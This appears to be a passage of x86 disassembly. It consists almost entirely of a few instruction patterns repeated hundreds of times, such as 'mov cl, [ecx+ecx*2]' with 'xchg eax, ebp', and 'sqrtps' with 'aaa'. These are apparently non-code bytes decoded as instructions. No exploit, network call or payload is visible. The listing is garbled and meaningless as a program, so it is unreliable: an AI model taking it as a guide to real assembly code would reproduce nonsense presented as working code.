		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		push	ecx
		mov	cl, 37h
		sqrtps	xmm6, oword ptr	[ecx-4EAEF0C9h]
		aaa
		sqrtps	xmm6, oword ptr	[ecx-4EAEF0C9h]
		aaa
		sqrtps	xmm6, oword ptr	[ecx-4EAEF0C9h]
		aaa
		sqrtps	xmm6, oword ptr	[ecx-4EAEF0C9h]
		aaa
		sqrtps	xmm6, oword ptr	[ecx-4EAEF0C9h]
		aaa
		sqrtps	xmm6, oword ptr	[ecx-4EAEF0C9h]
		aaa
		sqrtps	xmm6, oword ptr	[ecx-4EAEF0C9h]
		aaa
		sqrtps	xmm6, oword ptr	[ecx-4EAEF0C9h]
		aaa
		sqrtps	xmm6, oword ptr	[ecx-4EAEF0C9h]
		aaa
		sqrtps	xmm6, oword ptr	[ecx-4EAEF0C9h]
		aaa
		sqrtps	xmm6, oword ptr	[ecx-4EAEF0C9h]
		aaa
		sqrtps	xmm6, oword ptr	[ecx-4EAEF0C9h]
		aaa
		sqrtps	xmm6, oword ptr	[ecx-4EAEF0C9h]
		aaa
		sqrtps	xmm6, oword ptr	[ecx-4EAEF0C9h]
		aaa
		sqrtps	xmm6, oword ptr	[ecx-4EAEF0C9h]
		aaa
		sqrtps	xmm6, oword ptr	[ecx-4EAEF0C9h]
		aaa
		sqrtps	xmm6, oword ptr	[ecx-4EAEF0C9h]
		aaa
		sqrtps	xmm6, oword ptr	[ecx-4EAEF0C9h]
		aaa
		sqrtps	xmm6, oword ptr	[ecx-4EAEF0C9h]
		aaa
		sqrtps	xmm6, oword ptr	[ecx-4EAEF0C9h]
		aaa
		sqrtps	xmm6, oword ptr	[ecx-4EAEF0C9h]
		aaa
		sqrtps	xmm6, oword ptr	[ecx-4EAEF0C9h]
		aaa
		sqrtps	xmm6, oword ptr	[ecx-4EAEF0C9h]
		aaa
		sqrtps	xmm6, oword ptr	[ecx-4EAEF0C9h]
		aaa
		sqrtps	xmm6, oword ptr	[ecx-4EAEF0C9h]
		aaa
		sqrtps	xmm6, oword ptr	[ecx-4EAEF0C9h]
		aaa
		sqrtps	xmm6, oword ptr	[ecx-4EAEF0C9h]
		aaa
		sqrtps	xmm6, oword ptr	[ecx-4EAEF0C9h]
		aaa
		sqrtps	xmm6, oword ptr	[ecx-4EAEF0C9h]
		aaa
		sqrtps	xmm6, oword ptr	[ecx-4EAEF0C9h]
		aaa
		sqrtps	xmm6, oword ptr	[ecx-4EAEF0C9h]
		aaa
		sqrtps	xmm6, oword ptr	[ecx-4EAEF0C9h]
		aaa
		sqrtps	xmm6, oword ptr	[ecx-4EAEF0C9h]
		aaa
		sqrtps	xmm6, oword ptr	[ecx-4EAEF0C9h]
		aaa
		sqrtps	xmm6, oword ptr	[ecx-4EAEF0C9h]
		aaa
		sqrtps	xmm6, oword ptr	[ecx-4EAEF0C9h]
		aaa
		sqrtps	xmm6, oword ptr	[ecx-4EAEF0C9h]
		aaa
		sqrtps	xmm6, oword ptr	[ecx-4EAEF0C9h]
		aaa
		sqrtps	xmm6, oword ptr	[ecx-4EAEF0C9h]
		aaa
		sqrtps	xmm6, oword ptr	[ecx-4EAEF0C9h]
		aaa
		sqrtps	xmm6, oword ptr	[ecx-4EAEF0C9h]
		aaa
		sqrtps	xmm6, oword ptr	[ecx-4EAEF0C9h]
		aaa
		sqrtps	xmm6, oword ptr	[ecx-4EAEF0C9h]
		aaa
		sqrtps	xmm6, oword ptr	[ecx-4EAEF0C9h]
		aaa
		sqrtps	xmm6, oword ptr	[ecx-4EAEF0C9h]
		aaa
		sqrtps	xmm6, oword ptr	[ecx-4EAEF0C9h]
		aaa
		sqrtps	xmm2, oword ptr	[ecx-2Dh]
		xchg	eax, esi
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi-692CAFA3h], cl
		pop	ebp
		push	eax
		rcl	dword ptr [esi+4BDA7B39h], cl
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
